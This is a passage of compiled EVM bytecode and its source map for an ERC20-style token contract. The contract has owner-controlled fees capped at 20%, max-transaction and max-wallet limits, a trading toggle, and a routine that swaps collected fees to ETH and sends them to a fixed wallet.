61191757611883610cf0565b6118d582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b1115611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061326d565b60405180910390fd5b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119c35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e3576001601460008282546119db919061328d565b925050819055505b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b2f57611a446107a9565b81111580611a9b5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611aef5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b259061330d565b60405180910390fd5b5b611b37610d19565b81111580611b8e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611be25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c189061330d565b60405180910390fd5b505050565b611c31838383611ebb565b15611c4a57611c41601654611ff4565b60006014819055505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf55750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611d0a8585612245565b1115611e9a576000611d42611d1f8686612245565b611d3460125486610fb390919063ffffffff16565b6113e090919063ffffffff16565b9050611d9681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e369190612974565b60405180910390a36000600e541115611e7f57611e7e3061dead611e79600e54611e6b60125489610fb390919063ffffffff16565b6113e090919063ffffffff16565b611192565b5b611e9281846114ba90919063ffffffff16565b915050611e9e565b8190505b9392505050565b60008183611eb3919061328d565b905092915050565b60008060175483101590506000601654611ed430610c1f565b10159050601560009054906101000a900460ff16158015611f015750601360009054906101000a900460ff165b8015611f195750600a60149054906101000a900460ff165b8015611f225750815b8015611f785750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fd15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611fe05750600060145410155b8015611fe95750805b925050509392505050565b6001601560006101000a81548160ff02191690831515021790555060006120626002612054600d54612046600c546120386001600b54611ea590919063ffffffff16565b611ea590919063ffffffff16565b611ea590919063ffffffff16565b6113e090919063ffffffff16565b9050600061208d8261207f600b54866113e090919063ffffffff16565b610fb390919063ffffffff16565b905060006120a482856114ba90919063ffffffff16565b905060004790506120b4826123cd565b60006120c982476114ba90919063ffffffff16565b905060006120f46120e5600b54886114ba90919063ffffffff16565b83610fb390919063ffffffff16565b9050600061210d600b54836113e090919063ffffffff16565b90506000811115612123576121228682612610565b5b600061214d600c5461213f6002866113e090919063ffffffff16565b6113e090919063ffffffff16565b905060008111156121b457736e8535e43d4f21fb3dc48065162c12924c35b71273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b505b6000479050600081111561221e57736e8535e43d4f21fb3dc48065162c12924c35b71273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561221c573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123035760646012546122fc9190612cc9565b90506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123625760105490506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c157600f5490506123c7565b60115490505b92915050565b6000600267ffffffffffffffff8111156123ea576123e961332d565b5b6040519080825280602002602001820160405280156124185781602001602082028036833780820191505090505b50905030816000815181106124305761242f61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fb91906133a0565b8160018151811061250f5761250e61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125da9594939291906134d0565b600060405180830381600087803b1580156125f457600080fd5b505af1158015612608573d6000803e3d6000fd5b505050505050565b61263d30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080736e8535e43d4f21fb3dc48065162c12924c35b712426040518863ffffffff1660e01b81526004016126b89695949392919061352a565b60606040518083038185885af11580156126d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126fb91906135a0565b5050505050565b600080fd5b6000819050919050565b61271a81612707565b811461272557600080fd5b50565b60008135905061273781612711565b92915050565b600080600080600080600060e0888a03121561275c5761275b612702565b5b600061276a8a828b01612728565b975050602061277b8a828b01612728565b965050604061278c8a828b01612728565b955050606061279d8a828b01612728565b94505060806127ae8a828b01612728565b93505060a06127bf8a828b01612728565b92505060c06127d08a828b01612728565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b838110156128195780820151818401526020810190506127fe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612841826127df565b61284b81856127ea565b935061285b8185602086016127fb565b61286481612825565b840191505092915050565b600060208201905081810360008301526128898184612836565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128bc82612891565b9050919050565b6128cc816128b1565b81146128d757600080fd5b50565b6000813590506128e9816128c3565b92915050565b6000806040838503121561290657612905612702565b5b6000612914858286016128da565b925050602061292585828601612728565b9150509250929050565b60008115159050919050565b6129448161292f565b82525050565b600060208201905061295f600083018461293b565b92915050565b61296e81612707565b82525050565b60006020820190506129896000830184612965565b92915050565b6000806000606084860312156129a8576129a7612702565b5b60006129b6868287016128da565b93505060206129c7868287016128da565b92505060406129d886828701612728565b9150509250925092565b6000602082840312156129f8576129f7612702565b5b6000612a06848285016128da565b91505092915050565b600060ff82169050919050565b612a2581612a0f565b82525050565b6000602082019050612a406000830184612a1c565b92915050565b600080600060608486031215612a5f57612a5e612702565b5b6000612a6d86828701612728565b9350506020612a7e86828701612728565b9250506040612a8f86828701612728565b9150509250925092565b612aa28161292f565b8114612aad57600080fd5b50565b600081359050612abf81612a99565b92915050565b60008060408385031215612adc57612adb612702565b5b6000612aea858286016128da565b9250506020612afb85828601612ab0565b9150509250929050565b612b0e816128b1565b82525050565b6000602082019050612b296000830184612b05565b92915050565b600060208284031215612b4557612b44612702565b5b6000612b5384828501612728565b91505092915050565b60008060408385031215612b7357612b72612702565b5b6000612b81858286016128da565b9250506020612b92858286016128da565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd26020836127ea565b9150612bdd82612b9c565b602082019050919050565b60006020820190508181036000830152612c0181612bc5565b9050919050565b7f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260008201527f65207468616e2032302500000000000000000000000000000000000000000000602082015250565b6000612c64602a836127ea565b9150612c6f82612c08565b604082019050919050565b60006020820190508181036000830152612c9381612c57565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cd482612707565b9150612cdf83612707565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d1857612d17612c9a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d5d82612707565b9150612d6883612707565b925082612d7857612d77612d23565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000612ddf602e836127ea565b9150612dea82612d83565b604082019050919050565b60006020820190508181036000830152612e0e81612dd2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e716024836127ea565b9150612e7c82612e15565b604082019050919050565b60006020820190508181036000830152612ea081612e64565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f036022836127ea565b9150612f0e82612ea7565b604082019050919050565b60006020820190508181036000830152612f3281612ef6565b9050919050565b6000612f4482612707565b9150612f4f83612707565b9250828203905081811115612f6757612f66612c9a565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fc96025836127ea565b9150612fd482612f6d565b604082019050919050565b60006020820190508181036000830152612ff881612fbc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305b6023836127ea565b915061306682612fff565b604082019050919050565b6000602082019050818103600083015261308a8161304e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130ed6029836127ea565b91506130f882613091565b604082019050919050565b6000602082019050818103600083015261311c816130e0565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061317f6031836127ea565b915061318a82613123565b604082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006131eb600e836127ea565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613257601e836127ea565b915061326282613221565b602082019050919050565b600060208201905081810360008301526132868161324a565b9050919050565b600061329882612707565b91506132a383612707565b92508282019050808211156132bb576132ba612c9a565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006132f76011836127ea565b9150613302826132c1565b602082019050919050565b60006020820190508181036000830152613326816132ea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061339a816128c3565b92915050565b6000602082840312156133b6576133b5612702565b5b60006133c48482850161338b565b91505092915050565b6000819050919050565b6000819050919050565b60006133fc6133f76133f2846133cd565b6133d7565b612707565b9050919050565b61340c816133e1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613447816128b1565b82525050565b6000613459838361343e565b60208301905092915050565b6000602082019050919050565b600061347d82613412565b613487818561341d565b93506134928361342e565b8060005b838110156134c35781516134aa888261344d565b97506134b583613465565b925050600181019050613496565b5085935050505092915050565b600060a0820190506134e56000830188612965565b6134f26020830187613403565b81810360408301526135048186613472565b90506135136060830185612b05565b6135206080830184612965565b9695505050505050565b600060c08201905061353f6000830189612b05565b61354c6020830188612965565b6135596040830187613403565b6135666060830186613403565b6135736080830185612b05565b61358060a0830184612965565b979650505050505050565b60008151905061359a81612711565b92915050565b6000806000606084860312156135b9576135b8612702565b5b60006135c78682870161358b565b93505060206135d88682870161358b565b92505060406135e98682870161358b565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202ae123ee87418d68a676589b48dd6a7c33936955b451c50c0220c529086a27b464736f6c63430008100033

Deployed Bytecode Sourcemap

5474:11769:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10872:558;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7778:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9095:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8161:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9617:119;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16587:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8001:68;;;;;;;;;;;;;:::i;:::-;;3625:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7928:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11439:576;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6014:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8873:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8251:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3740:103;;;;;;;;;;;;;:::i;:::-;;9378:114;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9498:113;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8075:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8987:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8768:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3400:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9234:138;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7851:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6132:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8356:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8501:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10872:558;3547:12;:10;:12::i;:::-;3536:23;;:7;:5;:7::i;:::-;:23;;;3528:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11063:10:::1;11048:12;:25;;;;11099:10;11084:12;:25;;;;11130:5;11120:7;:15;;;;11163:12;11146:14;:29;;;;11197:6;11186:8;:17;;;;11222:5;11214;:13;;;;11252:6;11238:11;:20;;;;11289:18;11305:1;11289:11;;:15;;:18;;;;:::i;:::-;11277:8;;:30;;:67;;;;;11326:18;11342:1;11326:11;;:15;;:18;;;;:::i;:::-;11311:11;;:33;;11277:67;:98;;;;;11357:18;11373:1;11357:11;;:15;;:18;;;;:::i;:::-;11348:5;;:27;;11277:98;11269:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;10872:558:::0;;;;;;;:::o;7778:67::-;7815:13;7838:5;;;;;;;;;;;;;;;;;7831:12;;7778:67;:::o;9095:133::-;9170:4;9177:37;9186:10;9198:7;9207:6;9177:8;:37::i;:::-;9222:4;9215:11;;9095:133;;;;:::o;8161:84::-;8214:7;8231:12;;8224:19;;8161:84;:::o;9617:119::-;9668:7;9723:11;;9701:19;;9685:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9678:56;;9617:119;:::o;16587:309::-;16685:4;16702:36;16712:6;16720:9;16731:6;16702:9;:36::i;:::-;16749:117;16758:6;16766:10;16778:87;16814:6;16778:87;;;;;;;;;;;;;;;;;:11;:19;16790:6;16778:19;;;;;;;;;;;;;;;:31;16798:10;16778:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;16749:8;:117::i;:::-;16884:4;16877:11;;16587:309;;;;;:::o;8001:68::-;3547:12;:10;:12::i;:::-;3536:23;;:7;:5;:7::i;:::-;:23;;;3528:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8062:5:::1;8045:14;;:22;;;;;;;;;;;;;;;;;;8001:68::o:0;3625:106::-;3680:4;3717:6;;;;;;;;;;;3706:17;;:7;:17;;;3699:24;;3625:106;;;:::o;7928:67::-;7969:5;5682:1;7977:16;;7928:67;:::o;11439:576::-;3547:12;:10;:12::i;:::-;3536:23;;:7;:5;:7::i;:::-;:23;;;3528:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11539:13:::1;11580:3;11572:4;11556:13;:11;:13::i;:::-;:20;;;;:::i;:::-;11555:28;;;;:::i;:::-;11539:44;;11594:19;11643:3;11633:6;11617:13;:11;:13::i;:::-;:22;;;;:::i;:::-;11616:30;;;;:::i;:::-;11594:52;;11657:17;11705:3;11694:7;11678:13;:11;:13::i;:::-;:23;;;;:::i;:::-;11677:31;;;;:::i;:::-;11657:51;;11741:4;11719:19;:26;;;;11778:6;11756:19;:28;;;;11815:7;11795:17;:27;;;;11833:13;11849:28;11874:2;11849:20;11867:1;11849:13;:11;:13::i;:::-;:17;;:20;;;;:::i;:::-;:24;;:28;;;;:::i;:::-;11833:44;;11905:5;11896;:14;;:38;;;;;11929:5;11914:11;:20;;11896:38;:60;;;;;11951:5;11938:9;:18;;11896:60;11888:119;;;;;;;;;;;;:::i;:::-;;;;;;;;;11528:487;;;;11439:576:::0;;;:::o;6014:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;8873:108::-;3547:12;:10;:12::i;:::-;3536:23;;:7;:5;:7::i;:::-;:23;;;3528:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8971:8:::1;8947:11;:21;8959:8;8947:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;8873:108:::0;;:::o;8251:99::-;8317:7;8334:5;:14;8340:7;8334:14;;;;;;;;;;;;;;;;8327:21;;8251:99;;;:::o;3740:103::-;3547:12;:10;:12::i;:::-;3536:23;;:7;:5;:7::i;:::-;:23;;;3528:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3805:30:::1;3832:1;3805:18;:30::i;:::-;3740:103::o:0;9378:114::-;9426:7;9479:11;;9459:17;;9443:13;:11;:13::i;:::-;:33;;;;:::i;:::-;:47;;;;:::i;:::-;9436:54;;9378:114;:::o;9498:113::-;9543:7;9598:11;;9576:19;;9560:13;:11;:13::i;:::-;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9553:56;;9498:113;:::o;8075:80::-;8127:7;8145;:5;:7::i;:::-;8138:14;;8075:80;:::o;8987:102::-;9052:10;9044:5;:18;;;;9084:2;9071:10;:15;;9063:24;;;;;;8987:102;:::o;8768:99::-;3547:12;:10;:12::i;:::-;3536:23;;:7;:5;:7::i;:::-;:23;;;3528:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8857:8:::1;8839:5;:15;8845:8;8839:15;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;8768:99:::0;;:::o;3400:87::-;3446:7;3473:6;;;;;;;;;;;3466:13;;3400:87;:::o;9234:138::-;9293:7;9310:60;9348:21;9366:1;9348:9;:21::i;:::-;9310:33;9327:15;6842:42;9327:9;:15::i;:::-;9310:12;;:16;;:33;;;;:::i;:::-;:37;;:60;;;;:::i;:::-;9303:67;;9234:138;:::o;7851:71::-;7890:13;7913:7;;;;;;;;;;;;;;;;;7906:14;;7851:71;:::o;6132:19::-;;;;;;;;;;;;;:::o;8356:139::-;8434:4;8441:40;8451:10;8463:9;8474:6;8441:9;:40::i;:::-;8489:4;8482:11;;8356:139;;;;:::o;8501:127::-;8582:7;8599:11;:18;8611:5;8599:18;;;;;;;;;;;;;;;:27;8618:7;8599:27;;;;;;;;;;;;;;;;8592:34;;8501:127;;;;:::o;130:98::-;183:7;210:10;203:17;;130:98;:::o;634:82::-;692:7;713:1;709;:5;;;;:::i;:::-;702:12;;634:82;;;;:::o;16905:335::-;17015:1;16998:19;;:5;:19;;;16990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17096:1;17077:21;;:7;:21;;;17069:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17178:6;17148:11;:18;17160:5;17148:18;;;;;;;;;;;;;;;:27;17167:7;17148:27;;;;;;;;;;;;;;;:36;;;;17216:7;17200:32;;17209:5;17200:32;;;17225:6;17200:32;;;;;;:::i;:::-;;;;;;;;16905:335;;;:::o;10193:670::-;10282:37;10293:6;10301:9;10312:6;10282:10;:37::i;:::-;10330:38;10350:6;10358:9;10330:19;:38::i;:::-;10379:41;10394:6;10402:9;10413:6;10379:14;:41::i;:::-;10432:35;10449:6;10457:9;10432:16;:35::i;:::-;10478:39;10491:6;10499:9;10510:6;10478:12;:39::i;:::-;10529:35;10538:6;10546:9;10557:6;10529:8;:35::i;:::-;10591:25;10609:6;10591:5;:13;10597:6;10591:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;10575:5;:13;10581:6;10575:13;;;;;;;;;;;;;;;:41;;;;10627:22;10652:32;10666:6;10674:9;10652:13;:32::i;:::-;:78;;10724:6;10652:78;;;10687:34;10695:6;10703:9;10714:6;10687:7;:34::i;:::-;10652:78;10627:103;;10760:36;10781:14;10760:5;:16;10766:9;10760:16;;;;;;;;;;;;;;;;:20;;:36;;;;:::i;:::-;10741:5;:16;10747:9;10741:16;;;;;;;;;;;;;;;:55;;;;10829:9;10812:43;;10821:6;10812:43;;;10840:14;10812:43;;;;;;:::i;:::-;;;;;;;;10271:592;10193:670;;;:::o;1673:162::-;1759:7;1802:1;1797;:6;;1805:12;1789:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1831:1;1827;:5;1820:12;;1673:162;;;;;:::o;546:82::-;604:7;625:1;621;:5;;;;:::i;:::-;614:12;;546:82;;;;:::o;3852:191::-;3926:16;3945:6;;;;;;;;;;;3926:25;;3971:8;3962:6;;:17;;;;;;;;;;;;;;;;;;4026:8;3995:40;;4016:8;3995:40;;;;;;;;;;;;3915:128;3852:191;:::o;458:82::-;516:7;537:1;533;:5;;;;:::i;:::-;526:12;;458:82;;;;:::o;9745:439::-;9867:1;9849:20;;:6;:20;;;9841:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9951:1;9930:23;;:9;:23;;;9922:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10029:1;10012:6;:19;10004:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;10106:17;10116:6;10106:9;:17::i;:::-;10096:6;:27;;10088:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;9745:439;;;:::o;12024:191::-;12117:11;:19;12129:6;12117:19;;;;;;;;;;;;;;;;;;;;;;;;;12116:20;:47;;;;;12141:11;:22;12153:9;12141:22;;;;;;;;;;;;;;;;;;;;;;;;;12140:23;12116:47;12113:95;;;12173:14;;;;;;;;;;;12165:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;12113:95;12024:191;;:::o;12224:329::-;12328:11;:19;12340:6;12328:19;;;;;;;;;;;;;;;;;;;;;;;;;12327:20;:47;;;;;12352:11;:22;12364:9;12352:22;;;;;;;;;;;;;;;;;;;;;;;;;12351:23;12327:47;:77;;;;;12399:4;;;;;;;;;;;12378:26;;:9;:26;;;;12327:77;:107;;;;;6842:42;12408:26;;:9;:26;;;;12327:107;12324:222;;;12492:17;:15;:17::i;:::-;12459:28;12480:6;12459:5;:16;12465:9;12459:16;;;;;;;;;;;;;;;;:20;;:28;;;;:::i;:::-;12458:51;;12450:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;12324:222;12224:329;;;:::o;12562:159::-;12659:4;;;;;;;;;;;12646:17;;:9;:17;;;:41;;;;;12668:11;:19;12680:6;12668:19;;;;;;;;;;;;;;;;;;;;;;;;;12667:20;12646:41;12643:71;;;12710:1;12689:9;;:23;;;;;;;:::i;:::-;;;;;;;;12643:71;12562:159;;:::o;12730:349::-;12841:4;;;;;;;;;;;12831:14;;:6;:14;;;12828:130;;12865:20;:18;:20::i;:::-;12855:6;:30;;:53;;;;12889:11;:19;12901:6;12889:19;;;;;;;;;;;;;;;;;;;;;;;;;12855:53;:79;;;;12912:11;:22;12924:9;12912:22;;;;;;;;;;;;;;;;;;;;;;;;;12855:79;12847:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;12828:130;12986:14;:12;:14::i;:::-;12976:6;:24;;:47;;;;13004:11;:19;13016:6;13004:19;;;;;;;;;;;;;;;;;;;;;;;;;12976:47;:73;;;;13027:11;:22;13039:9;13027:22;;;;;;;;;;;;;;;;;;;;;;;;;12976:73;12968:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;12730:349;;;:::o;15367:197::-;15459:41;15474:6;15482:9;15493:6;15459:14;:41::i;:::-;15456:101;;;15502:29;15517:13;;15502:14;:29::i;:::-;15553:1;15533:9;:22;;;;15456:101;15367:197;;;:::o;15573:160::-;15654:4;15679:11;:19;15691:6;15679:19;;;;;;;;;;;;;;;;;;;;;;;;;15678:20;:47;;;;;15703:11;:22;15715:9;15703:22;;;;;;;;;;;;;;;;;;;;;;;;;15702:23;15678:47;15671:54;;15573:160;;;;:::o;16040:538::-;16126:7;16182:1;16149:30;16161:6;16169:9;16149:11;:30::i;:::-;:34;16146:410;;;16195:17;16215:59;16243:30;16255:6;16263:9;16243:11;:30::i;:::-;16215:23;16226:11;;16215:6;:10;;:23;;;;:::i;:::-;:27;;:59;;;;:::i;:::-;16195:79;;16308:35;16333:9;16308:5;:20;16322:4;16308:20;;;;;;;;;;;;;;;;:24;;:35;;;;:::i;:::-;16285:5;:20;16299:4;16285:20;;;;;;;;;;;;;;;:58;;;;16384:4;16359:42;;16368:6;16359:42;;;16391:9;16359:42;;;;;;:::i;:::-;;;;;;;;16433:1;16415:7;;:20;16412:104;;;16437:77;16455:4;6842:42;16477:36;16505:7;;16477:23;16488:11;;16477:6;:10;;:23;;;;:::i;:::-;:27;;:36;;;;:::i;:::-;16437:9;:77::i;:::-;16412:104;16533:21;16544:9;16533:6;:10;;:21;;;;:::i;:::-;16526:28;;;;;16146:410;16564:6;16557:13;;16040:538;;;;;;:::o;370:82::-;428:7;449:1;445;:5;;;;:::i;:::-;438:12;;370:82;;;;:::o;14958:400::-;15056:4;15073:13;15099:15;;15089:6;:25;;15073:41;;15125:19;15175:13;;15147:24;15165:4;15147:9;:24::i;:::-;:41;;15125:63;;15207:8;;;;;;;;;;;15206:9;:24;;;;;15219:11;;;;;;;;;;;15206:24;:42;;;;;15234:14;;;;;;;;;;;15206:42;:54;;;;;15252:8;15206:54;:78;;;;;15265:11;:19;15277:6;15265:19;;;;;;;;;;;;;;;;;;;;;;;;;15264:20;15206:78;:99;;;;;15301:4;;;;;;;;;;;15288:17;;:9;:17;;;15206:99;:126;;;;;15330:1;15309:9;;:23;;15206:126;:144;;;;;15336:14;15206:144;15199:151;;;;14958:400;;;;;:::o;13088:1066::-;6773:4;6762:8;;:15;;;;;;;;;;;;;;;;;;13159:20:::1;13182:66;13246:1;13183:57;13225:14;;13183:37;13207:12;;13183:19;13200:1;13183:12;;:16;;:19;;;;:::i;:::-;:23;;:37;;;;:::i;:::-;:41;;:57;;;;:::i;:::-;13182:63;;:66;;;;:::i;:::-;13159:89;;13259:32;13294:42;13323:12;13294:24;13305:12;;13294:6;:10;;:24;;;;:::i;:::-;:28;;:42;;;;:::i;:::-;13259:77;;13347:14;13364:36;13375:24;13364:6;:10;;:36;;;;:::i;:::-;13347:53;;13411:22;13436:21;13411:46;;13468:24;13485:6;13468:16;:24::i;:::-;13503:20;13526:41;13552:14;13526:21;:25;;:41;;;;:::i;:::-;13503:64;;13578:19;13599:48;13616:30;13633:12;;13616;:16;;:30;;;;:::i;:::-;13599:12;:16;